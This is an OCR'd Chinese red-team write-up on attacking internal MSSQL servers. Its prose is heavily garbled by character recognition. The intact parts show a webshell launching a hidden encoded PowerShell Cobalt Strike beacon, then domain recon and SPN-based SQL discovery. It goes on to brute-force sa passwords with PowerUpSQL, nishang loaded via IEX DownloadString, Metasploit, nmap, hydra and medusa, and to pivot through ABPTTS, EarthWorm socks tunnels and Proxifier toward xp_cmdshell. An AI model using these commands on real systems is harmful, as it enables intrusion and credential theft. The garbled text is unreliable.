MITRE | ATT&CK H13Tih

https://huntingday.github.io/

WM mssql SEBFIARRE [ EiE ]

APERRER

> MAZMARARELARBIRAMBNFEFE nssql L6 [EFEZEBAM & BRMNIRE] [ -> &3]
> MRZFHATAMERNFFEEFANSBA mssql sasgH<S [ -> FIA]

> fEBimssql RS ML BArIaa R [ -> INPREAEHRF]

> 2 SHIRIE mssql MR AHIEERFIKSMZE hash [ -> BERIE, £#&FENERER]

> X BITRBE N RA mssql (A A& hash [ ->  hash ]

EaARIRA [ MERETE, ARREHBREHRT 1:

WebServer-IIS10 {&i% 4 BEfr0RM—4 windows web fRE28[windows 2016],/AM ip: 192.168.3.118 ,[AW ip: 192.168.4.57

Strike BiEHBECAMB—E linux vps,/AM ip: 192.168.3.249
S

XTF mssql XS EFNINE, BLRARBLZURT B, B AHNSRETE, T ERE getshell, o#HF AR ZPRERFRIT. . . 1AL, BIMDIUELZ A HE - iis IREMNPRA webshell Fig, FIX
BRI T AR mssql BYSEEF AR, o IAFEE], 7£ webshell[ KD 1 BHSLAKNIFRE, EMEIH EZH ) beacon EIK1E, X2 MATE, Ui FF= webshell 1 cs payload S RXHE), RAEWIAT,

BMNEHFEH, EEZHAKESHINTT cs payload, HiTHIIGE, WX Easf—ELTHEERS, ENAHEE
192.168.3.118:81(192.168.3.118) Host Trust Level: Full IsFull-Trust True User: IS APPPOCL\openwbs

Logout | File Manager | EileSesarch | CmdShell | 1S Spy | Process | Senvices | Userlnfo | Sysinfo | RegShell | PortScan | DataBase | PortMap [WmiTools | ADSViewer | Pluginl oader

Execute Command >>

CmdPath:
| chwindowstsystem3Ziomd.axe |

Argument:
fc powershell exe -nop -w hidden -encodedcommand JABzADODATgBIAHCALQBPAGIAagBIAGMAIAAGAEKATWALAE( m |

/e, BEZHCH cs £, TTINEE beacon iy shell EZIEFERT [HR, XEHRERBHERL THBR], M shell RFATERE], LLATHY shell EREIFFR[ AL RIAVE B AR, STH0 X A9
PRk ZZEBIFAM], B, BEIRNE, SRR AR THEARMIMFE TH— 5 LB windows #1835, ok, TR BETNERBLZE, RERENES



Cobalt Strike View Attacks Reporting Help

R O B¢ BELPUSXwED fa B

external internal = user computer note pid last
192.168.2.118 'WEBSERWER-1S10

‘@ 192,1683.118

Event Log x| Listeners X | Beacon 192.168.2.118@3888 ><|

beacon> shell whoami

[*] Tasked beacon to run: whoami
beacon> shell ipconfig /all

[*] Tasked beacon to run: ipconfig /all
[+] host called home, sent: 51 bytes
[+] received output:

iis apppool\openwbs |

[+] received output:
Windows IP Configuration

Host Name . -
Primary Dns Suffix |
Node Type . . . . . . . . . . . . i Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No

: WebServer-IIS10

Ethernet adapter Ethernetl:

Connection-specific DNS Suffix

Description .

Physical Address.

DHCP Enabled. R e R
Autoconfiguration Enabled .
Link-local IPv6 Address .
IPv4 Address.

Subnet Mask .

Default Gateway .

DHCPv6 IAID .

DHCPv6 Client DUID.

DNS Servers .

NetBIOS over Tcpip.

: Intel(R) 82574L Gigabit Network Connection
: 00-0C-29-74-78-5B

: No

: Yes

: feBO::9576:4178:a683: 2ee9%9(Preferred)

1 1192.168.4.57(Preferred)

: 255.255.255.0

: 50334761
: PP-01-00-01-22-C8-78-0F-00-0C-29-74-78-5B
i Tec0:0:0:ffFff: 1%l
fecD:0:0:ffff::2%1
fecD:0:0:ffff::3%1
: Enabled

ox01 ¥HMESHRWBER -> RELIBIRAMPAIERFE mssql L6 [BIEEETEAR SRR RIS A MIRE T 78 mssql SKBIRITTE]

# ipconfig /all FWIAS P lss e T P RS TIEAREREF

EBEIEE LEANEEANMBEELYS, REA, BANIEAE TEARRE T, VRE N TAXILE, Mg 7 XL, ZAe st ia mEmmna e 7

# net view /domain:workgroup

Cobalt Strike Wiew Attacks Reporting Help
O O EH=¢ 8 LU TeBEED oo B G

external internal = user computer note pid last

g openwh EBSERVER 0 823

Fra——

| Event Log X ‘ Listeners x | Beacon 192,168.3.118@3888 X

beacon> shell net view /domain:workgroup

[*] Tasked bheacon to run: net view /domain:workgroup
[+] host called home, sent: 34 bytes

[+] received output:

Server Name Remark

\\EXPLOIT

\\IIS6-CN

\\IIS6-ZH

\\OWA2003

\\WEBSERVER-IIS6

\\WEBSERVER-IIS7

\\WEBSERVER-IIS8

The command completed successfully.




B MEXTEALEHEAAMAE T nssql LBFIRIMTZE [HR, ERIGEBEAMN P HEEER]

7£.net FEHIEFIAFEZLRBE T —NELITARKEIEmssql B9 4 System.Data.Sql Mg B Z(E, E TEHE — &M SqlDataSourceEnumerator By, H{11E 2 e R A I (1RIEMZE B FrAHh W& &b f B
FFEEmssql L, LFRIENRAN T, REB{rmssql fRES T B B A 1EE 9N BRI ERIENE], X BEANERZRAE TR, SENNTEHE, BRIL ZIMEFNFL, b, (RS FTH B irV1ss 24 E T
EARETH, e BB IRBELST TEA THME mssql 261, BRI LaIYl=s 24 EBFREANT , EMESHBIREFIMEE LT AIETE mssql LA, X F—L X BN, X 2L A EEE R

beacon> shell PowerShell -Command "[System.Data.Sql.SqlDataSourceEnumerator]::Instance.GetDataSources()"

Cobalt Strike View Attacks Reporting Help

O 0O H=¢ a3 LU B s/a B g

external internal = user computer note pid last

BSERVER-IIS10

F——

Event Log X ‘ Listeners X | Beacon 192.168.3.118@3888 X

beacon> shell PowerShell -Command "[System.Data.Sql.SqlDataSourceEnumerator]::Instance.GetDataSources()"

[*] Tasked beacon to run: PowerShell -Command "[System.Data.Sql.SqlDataSourceEnumerator]::Instance.GetDataSources()"
[+] host called home, sent: 98 bytes

[+] received output:

ServerName InstanceName IsClustered Version

|WEBSERVER- 1156
WEBSERVER-IIS7
WEBSERVER-IIS8

FM, BRI E BFRRME udp SRR M e E 778 mssql L4
beacon> powershell-import /root/powershell/PowerUpSQL.psl T PowerUP RA ZRIFEZLEBFENZIT W pdf T, LA Zik

beacon> powershell Get-SQLInstanceBroadcast -Verbose H4h, HIAKRIRET AINENEIM AL, HiEEAR—E Get-SQLInstanceScanUDPThreaded,Get-SQLInstanceScanUDP

Cobalt strike Wiew Attacks Reporting Help
OB O H=¢ B8LLH ZwBEE ca B 6

extarnal internal = user computar note pid last

ope 05 NEB A R 0

Bl 192.158.3.133 192.168.3.133 jack PC-JACK 2884 106ms

F——

Event Log .‘(‘ Listeners )(l Beacon 192.168.3.118@3888 X | Beacon 192.168.3.133@2884 X

beacon> powershell-import /root/powershell/PowerUpSQL.psl
[*] Tasked beacon to import: /root/powershell/PowerUpSQL.psl
[+] host called home, sent: 189584 bytes

beacon> powershell Get-5(QLInstanceBroadcast -Verbose

[*] Tasked beacon to run: Get-S5QLInstanceBroadcast -Verbose
[+] host called home, sent: 41 bytes

[+] received output:

#< CLIXML

ComputerName Instance IsClustered Version

WEBSERVER-IIS6 WEBSERVER-IIS6
WEBSERVER-IIS7 WEBSERVER-IIS7
WEBSERVER- 1158 WEBSERVER-IIS8

AR, U T 2ALAEFETH mssql IPIRAT X, A, XFRZIMNERASLH A, BFRSSTEIRE, AEA, RN nssql 2ARBH—ERE T, HAEZBE spn EFMER[spn 24, FEESE
U], B BRERER N BE TR RAEV SN EMC K[, BEVSRAECENE T, ELRAEAD FOEMIICFKIEE], Frl, KB EERNERFENHTF TR, AR E spn, BHEL B RKIRZHTH
shell M2 ENEAMANNRILLN, BEREHNEGRNNR, TR EZEFALETREN, LR ATHERFIETKEREIR, FTNTENS — BRI R shell KEF], AERNRNZE, BA
PowerUpsSQL HAFFEIHAECZBOERNAZ , REZHE—LRERELETHE, tbin, T8, nod. . . Fr L, RIEBARERIENR, B L BEEFERBEIEHARENET

beacon> shell net view /domain:rootkit & E rootkit 5 Y FET B BIE L5



Cobalt Strike View Attacks Reporting Help

CE O BEH=¢ 8ELLU GwBELH /o B H

external internal = user computer note pid last
[‘_-.l 192.168.3.118 192.168.3.118 openwbs WEESERWER-IIS10 3888 26ms
- 3 68.3.133 jack _PCIACK

Beacon 192.168.3.132@2884 X

Ewvent Log X | Listeners X Beacon 192.168.3.118@3888 X

beacon> shell net view /domain:rootkit
[*] Tasked beacon to run: net view /domain:rootkit
32 bytes

[+] host called home, sent
[+] received output:

Server Name Remark

\\2008R2-DCSERVER

\\BOS5-PC

\\FILESERVER

\\LISA-PC

\\PC-JACK

\\SQLSERVER

The command completed successfully.

beacon> powershell-import /root/powershell/PowerUpSQL.psl

M spn REF LETEFAE mssql L4, H3L, TEAI mailserver {lsf LR EAARE T, BEET U EMCRKIEE, At —FAREH KT

beacon> powershell Get-SQLInstanceDomain -Verbose

Cobalt Strike wiew Attacks Reporting Help

OR (W EH=¢ 8L B /e B

external internal = user computer note pid last
[...] 192.168.3.118 192.168.3.118 openwbs WEBSERWER-IIS 10 2888 42ms
- 1 33 192.168.3.133 jack PC-JACK

= -

Ewvent Log X

Listeners X

Beacon 192.168.2.133@2884 X

Beacon 192.168.2.118@3888 X

beacon> powershell-import /root/powershell/PowerUpSQL.psl
[*] Tasked beacon to import: /root/powershell/PowerUpSQL.psl

[+] host called home, sent:

189584 bytes

beacon> powershell Get-SQLInstanceDomain -Verbose
[*] Tasked beacon to run: Get-5QLInstanceDomain -Verbose

[+] host called home, sent:

38 bytes

[+] received output:

#< CLIXML

ComputerName
Instance

DomainAccount
DomainAccountCn
Service

Spn

LastLogon
Description

ComputerName
Instance
DomainAccountSid
DomainAccount
DomainAccountCn
Service

Spn

LastLogon
Description

: FileServer.rootkit.org

: FileServer.rootkit.org,1433
DomainAccountSid :
: FILESERVERS

: FileServer

: MSSQLSvc

: MSSQLSvc/FileServer.rootkit.org:1433
: 7/26/2018 7:48 PM

: FileShare

15000005210002532251107614313816525425215421615294400

: MailServer.rootkit.org

: MailServer.rootkit.org,1433

: 15000005210002532251107614313816525425215421615293400
: MAILSERVERS$

: MailServer

: MSSQLSvc

: MSSQLSvc/MailServer.rootkit.org:1433

: [5/26/2018 5:27 PM]




RJa, MR EBMAOTTERET AART , Bl A B E 5 Aum D HAER LI BFRAM PR mssql K617 [RFABE—EEZRMBZFABRNE, RERRAER S, FARF IR, XTRENHAET N, EREFEEN
KNETERFMER R, LEAHFER[LL, mENNF LK powershell is OHFHMA, EE B CHw D TR BArlas £, H% socks THE http BRIENR, BL & nsf #i7&Kim D HAEFS

WEF.. LE—FRE
REZ, mssql BNIAXS SN A A 1433, 1434, IRIEE CHERKE, KEEFERIIANG ANBERF AL, RAJLFRx B EARX [Nl EEEEEXH— 2R B im0, MREMNE w033 banner, —#F

B2 0] AR A K 1, B AR I A KB

beacon> portscan 192.168.4.0/24 1420-1440 none 128 b4k, I (1wt A beacon B MY portscan k3, HSEXANAEL KA EIZITER
Cobalt Strike Wiew Attacks Reporting Help

OB O E=¢ B8 LPLU B /e B

external internal = user computer note pid last
E;:g 192.168.3.118 192683118 openwbs WEBSERWER-IIS10 3888 9ms
™ = oy o 58 ~ O A a1e

-

Event Log X | Listeners X | Beacon 192.168.2.118@3888 X

Beacon 192.168.3.133@2884 X
beacon> portscan 192.168.4.0/24 1433-1440 none 128

[*] Tasked beacon to scan ports 1433-1440 on 192.168.4.0/24

[+] host called home, sent: 75325 bytes

[+] received output

192.168.4.8:1433

192.168.4.3:1433

192.,168.4.,2:1433

[+] received output
Scanner module is complete

ox02 EixE , FFASKRAIRIET AR -> [ REMEBFRNBTAMN T mssql sa FAL [BRERBEPRESRB, hREEMNTR]
B, A~ LR AN E=ZL -+ AR, A AERE TN RAGETN U FEK S BEN S RXGURECE XM, 1, S EREBIEENERFE S X [web. config,config.inc.php... ], FEREMRF IR B MR

BEXM, HAM, XTRESXFENAR, FZEZALEXE, ERENHEETH, RNESHFREMNEZFMEER, LENELBNERZENIEZEFREEE — P THN sa 5 [BEBRT, BERARNE

sa ZI—REBIASENAE , XLEABARZEXHY, thH T2 ARV =5 E R ZD, BATEMAETHE: ( BARIEER, BILLEFEER], ok, BHITAKBEEREAETHX LR

B

READHEASFE-LEEREZHXHNEFTERRYIE, BREB I EZTABR T, HEOAREIA, BIEEETE



Logout | File Manager | CmdShell | IS Spy | Process | Services | Userinfo | Sysinfo | FileSearch | SU Exp | ReaShell | PortScan | DataBase | Porthap Framework Ver : 2.0 50727 5420

Search completed !
File Search >>
UIl=3a
Keyword [J Use Regex
A
Replace As O Feplace
A
Search FileType |.:-ls.plasajceﬂcdxlaspxlasaxlasx:x[cs[tsplphplb:ﬂim|hi[’pslhhnlnunilxmljcnnﬁglasrn{[iﬁpxjinf || File Content ¥

Path [D:WebCodet |

File Path Last modified Size
B yadi : : 11'21.’2{]13 11:00:20 AWM 2N K

BHiEBT win RGETH dir fl findstr TEXREEA UGS T E U FAEZLHNX G IR TETE K SZLNFER S, AN, XFRE, RFEEEER—8IEE L£F, KEEARHE, MEIEHENA
LR down TRAFHD BRI TS

HERITI IENAR, ERNRRNIZEZRER T -3, EMS L, ETRNEEREEEX LR, IEAMA mssql sa RFHEE—R, ZSHFHNERT, HIFmeEES —BoVeE, YRNEF T XL 28
UGS, 5t X0] PUIRE 7EIX LA 28 A9 B Fh 2500 hash, RELIEB RN M AR E YRS, DULETREE [ XELHBmMERNERAMBBENESRE, NMENIN, RERENIE, ERIEFRE X BV SEEENILE], B,
AT TEHMNELTERE, B ERTESEENE BFrlss LT, HR, 7E sockss T, EEEAMIBEHET UK, ARIFELTE, FHEM socks5,4 f 4a #HEARITH




"Accessible"}

AR TH mssql sa AXEH AR, [HELF EELL, RZ mssql LHINEMATRAREME [BAZEHEE spn], HER £]
PS > $Targets = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 -username sa -password admin | Where-Object {$_.Status -like "Accessible"}

PS > Get-SQLInstanceBroadcast -Verbose | Get-SQLServerLoginDefaultPw -Verbose LR R TT UAHX MR AR RIREE TR R, BR, ELEFRAKRTELEIN,(BEXRET IUZKT

PS > $Targets

C:\>powershell -exec bypass
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\> IEX (New-Object Net.WebClient).DownloadString(
)
PS C:\> $Targets = Get-SQLInstanceBroadcast -Verbose | Get-SQLConnectionTestThreaded -Verbose -Thre
ads 1@ -username sa -password admin | Where-Object {$_.Status -like
: Attempting to identify SQL Server instances on the broadcast domain.
: 3 SQL Server instances were found.
: Creating runspace pool and session states
: WEBSERVER-IIS7 : Connection Success.
: WEBSERVER-IIS8 : Connection Success.
: WEBSERVER-IIS6 : Connection Success.
: Closing the runspace pool
PS C:\> $Targets

ComputerName Instance Status
WEBSERVER-IIS7 WEBSERVER-IIS7 Accessible

WEBSERVER-IIS8 WEBSERVER-IIS8 Accessible
WEBSERVER-IIS6 WEBSERVER-IIS6 Accessible

PS C:\>

BROBABERTEN T, — sa BE0RED, MBOLERAR T AT UEEZEN ANEREE, BB ATFNINET , REESHEH DER, R—EATRA sa ZIERFEN sa, 7R, IR ZEREN
P47, ABENEIREZI 2D, e F ARVREMRASRER], B0, ZHART 2005 Z IR ABRNSE L/ NEB, AL FAZNEFRA, TR ps HANBTRENAKREIGL, X T, RAZRE, A1 EL T EEIEACH
IKSEBFRET B EE [ENMRCERTTE, 8NEETR TER ) 1, ETREER TR B RAYSEFRGIP BRI, B, MR EEEE B IR LR &Y, REARTT, A sockss &
http JNZ?pXiE [abptts |HEdE L
# powershell -nop -exec bypass -c "IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Scan/Invoke-BruteForce.psl');Invoke-BruteForce -ComputerName 192.168.4.2

-UserList c:/windows/temp/user.txt -PasswordList c:/windows/temp/passwd.txt -Service SQL -Verbose -StopOnSuccess -Delay 1"



C:\>powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.git
ubusercontent.com/samratashok/nishang/master/Scan/Invoke-BruteForce.psl');Invoke-BruteForce -Compute
rName 192.168.4.2 -UserList c:/windows/temp/user.txt -PasswordlList c:/windows/temp/passwd.txt -Servi
ce SQL -Verbose -StopOnSuccess -Delay 1"
VERBOSE: Starting Brute-Force with a Delay of 1 and Jitter 6.3.
Brute Forcing SQL Service on 192.168.4.2

¢ Checking sa : password

: Checking sa : 12345678

: Checking sa : 1234

: Checking sa : !@#123QWE

¢ Checking sa : Adminl2345

: Checking sa : pussy

: Checking sa : abCD12#$

: Checking sa : 12345

¢ Checking sa : dragon

: Checking sa : Winter2e15!

: Checking sa : Winter2014!

: Checking sa : Winter2e1l6!

¢ Checking sa : Winter2017!

: Checking sa : Winter2018!

: Checking sa : quwerty

: Checking sa : 696969

: Checking sa : mustang

: Checking sa : letmein

: Checking sa : baseball

: Checking sa : admin
Match found! sa :
SQL Server 2008 R2

C:\>

SN, BT RN AR E BT BArtlas LERBUSLE powershell, lE s R —EZ TREAHEXHEES 7 [tba, msf,nmap 2. ..

#HEZ BERAM R XRIT, RANT

1, B beacon WER] socks IfgE, FAHMN—LEM TR

B9, TS E M beacon FFF/E socks [;3%,beacon § socks KA 4 4a, BE XL, FASSELL mst B 4a EARD ,msf AR ESIE meterpreter FHET]

Cobalt Strike VWiew Attacks Reporting Help

BE O EH=¢ B8ELPU wBEH o B

external internal - user computer note pid last
£l 192.168.2.133 192.168.3.1323 jack PC-JACK 2284 70ms
® 1921683118 192.168.3.118 openwbs /EBSERV 388¢

beacon> socks 110
[+] host called home, sent: 16 bytes
[+] started SOCKS4a server on: 110

root@strike:~# netstat -tulnp | grep ":118"
tcp6 ] 8 2: 2 LISTEN 4868/ java
root@strike:~#

& & Tunnel via SOCKS

Use this cormmand in the Metasploit Framework to tunnel
exploits and auxiliary modules through this Beacon.
Use unsetg Proxies to stop tunneling through Beacon.

[0k

m/E, Bl EEAARIE, iE msf R EEB@IL beacon £y socks BRIEE, X TELZHFRMA L AAMFERDE R BU A, LR ZBIR, AT EXT mssql BEARSR B4, RIE B ARKERBIP, &I 3 B 1M

ERTTIE, ST M I BREEA 2845 , iRIRSCPRIRE M IR A EE
mst > setg Proxies socks4:192.168.3.249:110
mst > setg ReverseAllowProxy true

msf > use auxiliary/scanner/mssql/mssql _login

msf > set rhosts 192.168.4.3 TUERIEEZA ip, HtEE



msf > set rport 1433

msf > set stop_on _success true—BEYH—mizE=IE
msf > set threads 6 LR BARREW 6 U T
msf > set username sa

msf > set pass_file /root/wordlist/passwd.txt

msf > run

192.168.4.3:1433 - 192.168.4.3:1433 - LOGIN FAILED: WORKSTATION\sa:letmein (Incorrect:
192.168.4.3:1433 - 192.168.4.3:1433 - LOGIN FAILED: WORKSTATION\sa:baseball (Incorrect: )
192.168.4.3:1433 - 192.168.4.3:1433 - Login Successful: |WORKSTATION\sa:admin

Scanned 1 of 1 hosts (180% complete)
Auxiliary module execution completed
auxiliary(

HOR, RIETT DUBE _EHEAY socks [P ABINESF A socks5]4E nmap 32| BN T, BINE AN A MNFETHE sa 5HSHN, MIEZE nmap, FERAZAK, JUBCELEE L PEREN RS
§5H<, KA, BILEEIEFI# 500 AR, nmap RF KSR A, ARFHRBRANAKR, NIFEKHEHNX AR, FAMENIZBEMEXBKRETA, TAREEEX ids, LRRIEREHRAKHE 7, RSHER TIRAID
EREERDERXFTH, EZWEFLN AT, EXIE hash — i, BEEFROILERE —FEHEANRBEFRS

# egrep -v "~$|#" src/proxychains.conf

round_robin_chain

proxy_dns

remote_dns_subnet 224

tcp_read_time_out 15000

tcp_connect_time_out 8000

[ProxylList]

socks4 192.168.3.249 110

WTHAMER, AMHEA A BFHRMUAFE T RJLEE, A, AL FEER DB 0B, FR|FEE, FRKAN 7T I
# ./proxychains4 -f src/proxychains.conf nmap -sT -sV -p 1433 --open -Pn --script ms-sql-empty-password,ms-sql-brute --script-args userdb=usernames.lst,passdb=passwords.lst

192.168.4.0/24 -v -oN sa_pwd_res.txt

NSE: Script scanning 192.168.4.3.

Initiating NSE at 15:19

[proxychains] Round Robin chain ... 192.168.3.249:110 ... 192.168.4.3:1433 ...
[proxychains] Round Robin chain ... 192.168.3.249:110 ... 192.168.4.3:1433 ...
Completed NSE at 15:19, 0.46s elapsed

Initiating NSE at 15:19

Completed NSE at 15:19, ©.00s elapsed

Nmap scan report for bogon (192.168.4.3)

Host is up (©.848s latency).

PORT STATE SERVICE VERSION

1433 /tcp open ms-sql-s Microsoft SQL Server 2005 9.080.5000.80; SP4
| ms-sgl-brute:
| [192.168.4.3:1433]

No credentials found

|
| Errors:

- Failed to load usernames list.

| ms-Sql-eémpty-password:

| [192.168.4.3:1433]

| 'sa' account password is not blank.

Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Ja, NRIRAEENFRLE N, IEIX AR L 1S B NRRi B Wi iE, A= B http IEEGE [abptts] Ti#tfT, KWL P PALLRHEGFRN T, SEFRE socks MEN TS IERKR, REMMEE, B
KA F AR AR




# python abpttsclient.py -c shellbox/config.txt -u http://192.168.3.118:81/abptts.aspx -f 127.0.0.1:143/192.168.4.3:1433{kARE LT BRI ss B2 5F http N IE

root@strike:~/ABPTTS# python abpttsclient.py -c shellbox/config.txt -u http://192.168.3.118:81/abptts.aspx -f 127.0.0.1:143/192.168.4
.3:1433

[2018-07-28 23:00:25.634825] ---===[[[ A Black Path Toward The Sun ]]
[2018-07-28 23:00:25.641261] - Client - 1]
[2018-087-28 23:00:25.641308] Ben Lincoln, NCC Group

[2018-87-28 23:08:25.641334] Version 1.0 - 2016-07-30

[2018-87-28 23:00:25.711433] Listener ready to forward connections from 127.0.0.1:143 to 192.168.4.3:1433 via http://192.168.3.118:81
fabptts.aspx

[2018-87-28 23:00:25.711525] Waiting for client connection to 127.8.0.1:143

AT 72 hydra[ 35 KK 17 medusa HF#E4F, EEIB RIEFRE A KT & IHSEFRRBEUR

# hydra -s 143 -1 sa -P /root/wordlist/passwd.txt -f -e nsr -t 8 -w 20 -V -0 sa_pwd_res.txt mssql://127.0.0.1

[ATTEMPT] target 127.0.0.1 - login "sa" - pass "zxcl123" - 181 of 17204 [child 3]
[ATTEMPT] target 127.0.08.1 - login "sa" - pass "asdfghjkl" - 182 of 17204 [child &]
[143][ ] host: login: password:

[sTATUS] attack finished for 127.08.0.1 (valid pair found)

1 of 1 target successfully completed, 1 valid password found

Hydra (http://www.thc.org/thc-hydra) finished at 2018-07-27 16:36:00

root@strike:~#

KRBT, TRSBEINRANEEARE TS EESBEGIE sa AR, AT, T MIRESERETRE

# medusa -h 127.0.0.1 -n 143 -u sa -P /root/wordlist/passwd.txt -t 2 -T 8 -e ns -M mssql -r 1 -0 sa_pwd_res.txt

ACCOUNT CHECK: [mssqgl] Host: 127.0.6.1 (1 of 1, @ complete) User: sa (1 of 1, ® complete) Password: admin (22 of 17203 complete)
ACCOUNT FOUND: [mssql] Host: 127.8.8.1 User: sa Password: admin [SUCCESS]

ACCOUNT CHECK: [mssgl] Host: 127.8.8.1 (1 of 1, ® complete) User: sa (1 of 1, 1 complete) Password: shadow (23 of 17283 complete)
root@strike:~#

ox03 FBUEMER -> TEMKIBiRYL8% shell, B4+ H IRV AR, ME T hash R/ @Y KEAR I E
Ok, BT E BT, RIMELERZIZFE T — DU BHY sa 25, TR RBMNE LN BIEE, A711E, BB EEHETE socks5[ R E M socks4/4a,meterpreter & beacon BRIAZ#HY socks
hRAR], EXNFEEHNNZFHERAIEARNT ] TEEAERLE

F—, IRAZ LN B IR M 28 B §F X ([ socks, IAT
# ./ew_for_Linux32 -s rcsocks -1 1080 -e 25  HirAMYLeF EH T AE UEIRERZE, 2568 1EE1@IMNN ]

# ew_for_Win.exe -s rssocks -d 192.168.3.242 -e 25 /b XEBEFEZBECH vps



£, BRI FAI A28 £ A Proxifier £33 {1 LA socks t, B&IT
21 =101 x|

r|erver Proxy Server Test Settings... |
Address: | 192.168.3.242 Port: | 1080 Lddress: 192.168.3.242:1080
Protocol: SOCKS 5
okt RUCIETEIcRtIon: 1) Proxy is ready to work
with Proxifier!
%' S0CKS Version 5

C s00s versn |

" HTTPS
[55:58] IP Address: 19Z_16B.3.Z24z2 _:J
[55:58] Connection established
—Authentication [65:58] Teat pasaed.
[65:58] Starting: Teat 2: Comnection through the Proxy Server
[ Enable [55:58] RZuthentication was successful._
[55:58] Connection toc wiw_baidu_com:-80 eatabklished through the proxy ssrver.
Usaﬂame:l [55:58] R default webk page was successfuly loaded.

[65:58] Teat passed.

Passward: I [65:58] Starting: Teat 3: Proxy Server latency
[55:58] Latency < 0 ms
[55:58]
. [65:58] Teating Finished. f—
 Options ]
Na options for SOCKSS are available. Start Testing Copy To Clipboard Help 0K
152.168.3.242:1030 SOCKS5

Chede | Advenced..|  Cancel | [167KE)sert. 6125 bytes (588 KB) received. Ifetime 0002

15.5 KB) sent, 6040 bytes (5.85 KB) received, lfetime 00:42 -

i, BEA#AY SQL Server Management Studio B uHEIE T R[ARZRNAMYDBELF KT T mssql, 7 SF 1MNE] Proxifier HN A ELHEHZFRMNITEANRET, IR, EARINESEEEREZ
FEBHrHY mssql, X HLL SQL Server Management Studio EFWHHE FPim T HE, BEXT mssql ki, MPARAEILH navicat, F B SQL Server Management Studio E EWAIEA, AL 2B C AR
TSGR, b, ERARANBNEEBCTF L RELHARS, FHEIEIRE, BAH sql EMHENUREREENSE, BEetPEENAE, BIRAIEAEELA—LEE =TT T EHK

x e [ ¥ el

O .f:) ||~ Tools ~ Binn ~ VSShell ~ Common? ~ TDE - * K& [ search e e ~ Applications
Organize *  Mew folder = il @ re
< Favorites Mame = | Dlatel madified | Type :I
[ %ml 4/15/2018 6:31 PM File folder Example: iexplore.exe; "some app.exe”; fire®.exe; *.bin Browse... |
ﬁ;_”bra”es +}+ Conflictviener.exe 4/3/2010 11:57AM  Application
ﬁ Eﬂzl:;lcments [ ControlService exe 4/3/2010 11;57 AM Application " Target hosts
(] Pictures 'ﬂ_] CopyDatabaseWizard. exe 432010 11:57 AM Application Any
;o == Daclnpack.exe 432010 11:57 AM Application
_j DatabaseMailWizard. exe 4/3/2010 11:57 &AM Application
1M Computer : é DTExed L. exe 4/3/2010 11:57 AM Application Example: 127.0.0.1; *.example,com; 192, 168.1.%; 10.1.0,0-10,5.255.255
. l_-rf] Microsoft, AnalysisServices, Deployment, exe 432010 11:57 AM Application
€ Network &2 MigrationWizard. exe 4/3/2010 11:57AM  Application st pis
%] MigrationWizardConsole,exe 4(3/2010 11:57 aM Application |Ar|v
I l* Ssms.exe 4/3/2010 11:55 AM Application Example: 80; 8000-2000; 3128
[5° UserControlTestContainer . exe 4/22/2008 12:08 AM Application "=
1| | _’|_
Action: |Proxy SOCKSS 192.168.3.242 =]
File name: ISsm;.exe j IExecutabIe Files (*.exe) j

v




B pProxification Rules 2]
Rule Name Applications Target Hosts Target Ports Action =

B Localhost localhost; 127.0.0.1;

Direct *

FeComputerMame %o F.. Microsoft SQL Server Management Studio : e
] mstsc mstsc, exe Aty i Prowy SOCKSS File Edit View Tools Window Community Help
. HITY Ay 192, 168.3.242 ;J‘Newquerﬁ'l&lﬁ%imlmlﬁﬂjlﬂ
H= ty ; -
-
Ay A Proxy SOCKSS
O putty putty.exe Any Any 192, 168.3.242 | Comnect~ (@2 m T B
. _ -
s ol Proxy SOLREE e
- — =
Ay A Proxy SOCKSS
powershell powershell, exe Any Any e ongied
Default Ary Ay Ary I;;ZK{ESSDEEE@Z
: — IDatabase Engine

{[152.188.42

Add... Clone | Edit. .. I Remove ication: |SQL Server Authertication

ISE

Rules are processed from top to bottom, Use the arrows at the right to change the order.

I

IUse check boxes to enable/disable a rule. [~ Remember password

oK | Cancel | Cancsl Help

A

T, HANER, N ELMTNER T BAARM AR mssql £, ETETREBEMHNSEBRITUERE Y
== Connections | L Traffic | o Statistics

[07.27 03:06:34] Ssms.exe - 152.168.4. 2:1433 open through prosgy 152.168.3.242:1080 SOCKS5H

[07 27 03:06:34] Ssms exe - 152.168.4.2:1433 close, 1062 bytes (1.03 KB) sent, 754 byvtes received, lfetime <1 sec
[07 27 03:06:34] Ssms.exe - 152.168.4.2:1433 open through promy 152.168.3.242:1080 S50CKS5

[07 27 03.06:35] Sems.exe - 152.168.4.2:1433 close, 1240 bytes {1.21 KB) sent, 528 bytes received, lifetime 00:01

[1.!.-r zf Ud Llh Jﬂj MS0ia ExXE - nen_lsn_lles nﬁlceapps Inre com: -Md npen thmugh prox'_.r 132 'If:rH 3. .-£4£ H.lti'l.ll SULRSD

0k:5/] msoia exe - config. i 4 5 i
[ﬂ? 27 03:06: 53] msoia exe - nexusniles. uﬁ"ceapps live com:443 close, 'H]EEI. b}"tes serrt -1953 bytes {4 84 KB) received, lifetime (0:15
(0727 D.?- 06: 53] msma ENE - currflg edoe skype .com:443 close, 534 bytes sent, 14145 bvtes (13.8 KB) received, [fetime 00:01
] 06 ; 6.2 KB) received, lifetime 00:03

AEE - 152 168.4 21433 open through prosgy 152,163 4
[1}? .y DE.- 12 159] puwershell ExE ‘64 152 'IEE 4 21433 close, 1361 byvtes (1.32 KB} serrt 24'[!5 bytes (Z.35 KB} received, Ifetime 071:02
[07 .27 03:12:56] powershell exe 64 - 152.168.4.2:1433 open through prosy 152.168.3.242:1080 SOCKSS
[07 27 03:13:31] powershell exe “64 - 152 .168.4.2:1433 close, 568 hyvtes sent, 1523 bytes (1.48 KB) received, Ifetime 00:35

EARBETREARE, 1, YA HBNIES, sa 250 sysadnin BB [BUAER TR, BHAERANEREE], 48] nssql QEMRA[ FRRATEARNTRSWERR ], RESHELBES
xp_cmdshell XAMFRITRREIRIETERTE, A L EIE A BN THESIEI LA d11 AT E, ERMEXAE, —RIER TRINER T MENEBTHREN, Fid PR EECE TN, BAL, BATE MR
R

select (@@servername;

SELECT is_srvrolemember ('sysadmin');

select (@W@VERSION;

select count (*) from master..sysobjects where xtype = 'x' and name = 'xp cmdshell';



